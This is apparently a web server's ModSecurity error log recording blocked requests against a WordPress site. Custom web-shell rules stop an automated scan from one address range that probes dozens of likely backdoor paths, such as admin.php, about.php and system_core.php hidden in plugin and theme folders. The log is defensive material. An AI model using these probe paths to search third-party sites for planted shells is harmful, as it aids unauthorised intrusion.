[Sun May 10 08:22:46.267059 2026] [:error] [pid 46329:tid 46349] [client 85.203.23.202:59907] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/tiktok-for-business/"] [unique_id "af_P1uFo7Z2I88d0gPJP0gAAABA"]
[Sun May 10 08:22:46.473484 2026] [:error] [pid 46330:tid 46369] [client 85.203.23.216:55557] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/contact-form-7/base-theme.php"] [unique_id "af_P1oztrhd3evDQvs82eAAAAEE"]
[Sun May 10 08:22:46.681204 2026] [:error] [pid 46330:tid 46382] [client 85.203.23.210:55077] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hello-plus/classes/ehp-bes.php"] [unique_id "af_P1oztrhd3evDQvs82eQAAAEk"]
[Sun May 10 08:22:46.874199 2026] [:error] [pid 52634:tid 52653] [client 85.203.23.212:37143] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/mu-plugins/config.php"] [unique_id "af_P1twp8XoWCwFb54CS5gAAAM8"]
[Sun May 10 08:22:47.077142 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.200:52623] [client 85.203.23.200] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-load.php"] [unique_id "af_P19wp8XoWCwFb54CS5wAAAMY"]
[Sun May 10 08:22:47.265121 2026] [:error] [pid 46331:tid 46383] [client 85.203.23.205:61695] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/site-logo/about.php"] [unique_id "af_P1wP02hpYETwsZpgS0gAAAIs"]
[Sun May 10 08:22:47.467852 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.180:59353] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/newfold-page-cachesocial/about.php"] [unique_id "af_P19wp8XoWCwFb54CS6AAAAMQ"]
[Sun May 10 08:22:49.259780 2026] [:error] [pid 46417:tid 46426] [client 85.203.23.185:64767] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/file61.php"] [unique_id "af_P2WInm7mhwgbe48Zn9wAAAQc"]
[Sun May 10 08:22:49.497293 2026] [:error] [pid 46330:tid 46406] [client 85.203.23.215:44141] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comment-author-name/editers.php"] [unique_id "af_P2Yztrhd3evDQvs82fgAAAFQ"]
[Sun May 10 08:22:49.702082 2026] [:error] [pid 46330:tid 46411] [client 85.203.23.169:24405] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/plugin-editor-trigger.php"] [unique_id "af_P2Yztrhd3evDQvs82fwAAAFc"]
[Sun May 10 08:22:49.891340 2026] [:error] [pid 46329:tid 46334] [client 85.203.23.202:35731] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/query-pagination-numbers/wp-cron.php"] [unique_id "af_P2eFo7Z2I88d0gPJP3AAAAAE"]
[Sun May 10 08:22:50.100925 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.181:64499] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "af_P2twp8XoWCwFb54CS6gAAAMk"]
[Sun May 10 08:22:50.284738 2026] [:error] [pid 46417:tid 46422] [client 85.203.23.183:53665] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/media/files/files/cache/ulnc/wbdo/"] [unique_id "af_P2mInm7mhwgbe48Zn-QAAAQM"]
[Sun May 10 08:22:50.471950 2026] [:error] [pid 52634:tid 52643] [client 85.203.23.216:48917] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/backup/js/build/kys/admin.php"] [unique_id "af_P2twp8XoWCwFb54CS7AAAAMU"]
[Sun May 10 08:22:50.672772 2026] [:error] [pid 46330:tid 46374] [client 85.203.23.181:40927] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/src/v1/dist/build/uols/"] [unique_id "af_P2oztrhd3evDQvs82ggAAAEQ"]
[Sun May 10 08:22:50.867828 2026] [:error] [pid 46330:tid 46376] [client 85.203.23.168:34843] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/css/cache/piwk/admin.php"] [unique_id "af_P2oztrhd3evDQvs82gwAAAEU"]
[Sun May 10 08:22:51.070025 2026] [:error] [pid 46329:tid 46345] [client 85.203.23.196:20745] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/test.php"] [unique_id "af_P2-Fo7Z2I88d0gPJP4AAAAAw"]
[Sun May 10 08:22:51.262054 2026] [:error] [pid 46329:tid 46353] [client 85.203.23.185:51617] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/themes/maintenance.php"] [unique_id "af_P2-Fo7Z2I88d0gPJP4QAAABQ"]
[Sun May 10 08:22:51.467444 2026] [:error] [pid 46329:tid 46335] [client 85.203.23.168:55767] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins_new/sitepress-multilingual-cms/classes/plugins/about.php"] [unique_id "af_P2-Fo7Z2I88d0gPJP4wAAAAI"]
[Sun May 10 08:22:51.680359 2026] [:error] [pid 46331:tid 46405] [client 85.203.23.195:36067] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins_new/wordpress-seo/admin/import/plugins/wp-blog-header.php"] [unique_id "af_P2wP02hpYETwsZpgS0wAAAJc"]
[Sun May 10 08:22:51.872717 2026] [:error] [pid 46329:tid 46343] [client 85.203.23.202:26351] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/cs.php"] [unique_id "af_P2-Fo7Z2I88d0gPJP5gAAAAo"]
[Sun May 10 08:22:52.086115 2026] [:error] [pid 46330:tid 46400] [client 85.203.23.181:51735] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/IXR/met/uploads/"] [unique_id "af_P3Iztrhd3evDQvs82hgAAAFE"]
[Sun May 10 08:22:52.268023 2026] [:error] [pid 46329:tid 46342] [client 85.203.23.212:31757] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wdf.php"] [unique_id "af_P3OFo7Z2I88d0gPJP5wAAAAk"]
[Sun May 10 08:22:52.472491 2026] [:error] [pid 46329:tid 46339] [client 85.203.23.225:30255] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/koiy.php"] [unique_id "af_P3OFo7Z2I88d0gPJP6QAAAAY"]
[Sun May 10 08:22:52.797158 2026] [:error] [pid 46330:tid 46396] [client 85.203.23.221:29387] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/query/"] [unique_id "af_P3Iztrhd3evDQvs82iAAAAE8"]
[Sun May 10 08:22:53.475620 2026] [:error] [pid 46417:tid 46438] [client 85.203.23.199:51563] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/spacer/"] [unique_id "af_P3WInm7mhwgbe48Zn-gAAARM"]
[Sun May 10 08:22:54.469923 2026] [:error] [pid 46330:tid 46406] [client 85.203.23.184:34067] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "af_P3oztrhd3evDQvs82jAAAAFQ"]
[Sun May 10 08:22:54.657348 2026] [:error] [pid 46330:tid 46384] [client 85.203.23.182:60981] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/media/v3/js/build/icdxa/"] [unique_id "af_P3oztrhd3evDQvs82jQAAAEo"]
[Sun May 10 08:22:54.873524 2026] [:error] [pid 46330:tid 46378] [client 85.203.23.209:30965] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/v3/data/v1/css/jmy/msl/"] [unique_id "af_P3oztrhd3evDQvs82jwAAAEY"]
[Sun May 10 08:22:55.069223 2026] [:error] [pid 46330:tid 46381] [client 85.203.23.188:26559] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/build/css/cache/img/src/backup/utt/admin.php"] [unique_id "af_P34ztrhd3evDQvs82kAAAAEg"]
[Sun May 10 08:22:55.297828 2026] [:error] [pid 46330:tid 46404] [client 85.203.23.172:44265] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/social-links/admin.php"] [unique_id "af_P34ztrhd3evDQvs82kQAAAFM"]
[Sun May 10 08:22:55.492309 2026] [:error] [pid 46330:tid 46402] [client 85.203.23.180:28767] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-wolf.php"] [unique_id "af_P34ztrhd3evDQvs82kgAAAFI"]
[Sun May 10 08:22:55.679931 2026] [:error] [pid 46329:tid 46354] [client 85.203.23.191:43863] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "af_P3-Fo7Z2I88d0gPJP8AAAABU"]
[Sun May 10 08:22:55.957315 2026] [:error] [pid 46330:tid 46384] [client 85.203.23.218:36263] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/assets/css/minified/system_core.php"] [unique_id "af_P34ztrhd3evDQvs82lgAAAEo"]
[Sun May 10 08:22:56.185566 2026] [:error] [pid 46330:tid 46374] [client 85.203.23.214:59107] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/system_core.php"] [unique_id "af_P4Iztrhd3evDQvs82mAAAAEQ"]
[Sun May 10 08:23:01.377534 2026] [:error] [pid 46329:tid 46344] [client 85.203.23.183:60877] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/theme/about.php"] [unique_id "af_P5eFo7Z2I88d0gPJP8wAAAAs"]
[Sun May 10 08:23:01.560659 2026] [:error] [pid 46330:tid 46387] [client 85.203.23.205:60907] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/sinatra/inc/customizer/controls/color/about.php"] [unique_id "af_P5Yztrhd3evDQvs82oAAAAEs"]
[Sun May 10 08:23:01.754623 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.219:45549] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/blocksy/inc/panel-builder/footer/widget-area-3/"] [unique_id "af_P5Yztrhd3evDQvs82ogAAAEc"]
[Sun May 10 08:23:01.987002 2026] [:error] [pid 46330:tid 46404] [client 85.203.23.188:28843] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/crio/woocommerce/notices/"] [unique_id "af_P5Yztrhd3evDQvs82owAAAFM"]
[Sun May 10 08:23:02.172730 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.185:25573] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/hestia/inc/views/blog/"] [unique_id "af_P5twp8XoWCwFb54CS8gAAAMM"]
[Sun May 10 08:23:02.382648 2026] [:error] [pid 46329:tid 46351] [client 85.203.23.201:60931] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/fortified-child/docs/js/omelv/"] [unique_id "af_P5uFo7Z2I88d0gPJP9AAAABI"]
[Sun May 10 08:23:02.562449 2026] [:error] [pid 46331:tid 46361] [client 85.203.23.189:58655] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/maintenance.php"] [unique_id "af_P5gP02hpYETwsZpgS3wAAAIA"]
[Sun May 10 08:23:02.763364 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.182:37687] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyone/content-index.php"] [unique_id "af_P5gP02hpYETwsZpgS4AAAAI0"]
[Sun May 10 08:23:02.961135 2026] [:error] [pid 46330:tid 46373] [client 85.203.23.218:43389] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/proton/content-index.php"] [unique_id "af_P5oztrhd3evDQvs82pwAAAEM"]
[Sun May 10 08:23:04.658168 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.168:45937] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentythree/patterns/"] [unique_id "af_P6Iztrhd3evDQvs82rAAAAEc"]
[Sun May 10 08:23:04.852208 2026] [:error] [pid 46330:tid 46396] [client 85.203.23.176:39295] [client 85.203.23.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/inter/"] [unique_id "af_P6Iztrhd3evDQvs82rgAAAE8"]
[Sun May 10 08:23:10.081568 2026] [:error] [pid 46331:tid 46399] [client 85.203.23.184:20025] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/security.php"] [unique_id "af_P7gP02hpYETwsZpgS5gAAAJQ"]
[Sun May 10 08:23:10.545151 2026] [:error] [pid 52634:tid 52639] [client 85.203.23.199:46571] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/"] [unique_id "af_P7twp8XoWCwFb54CS8wAAAME"]
[Sun May 10 08:23:10.777754 2026] [:error] [pid 52634:tid 52643] [client 85.203.23.197:28705] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-signup.php"] [unique_id "af_P7twp8XoWCwFb54CS9AAAAMU"]
[Sun May 10 08:23:10.972649 2026] [:error] [pid 46331:tid 46405] [client 85.203.23.195:35613] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-config-backup.php"] [unique_id "af_P7gP02hpYETwsZpgS6AAAAJc"]
[Sun May 10 08:23:11.168736 2026] [:error] [pid 52634:tid 52654] [client 85.203.23.220:52119] [client 85.203.23.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/master-blog/content-none-new-compiler.php"] [unique_id "af_P79wp8XoWCwFb54CS9gAAANA"]
[Sun May 10 08:23:11.356918 2026] [:error] [pid 52634:tid 52648] [client 85.203.23.171:41749] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/villagio-child/admin.php"] [unique_id "af_P79wp8XoWCwFb54CS9wAAAMo"]
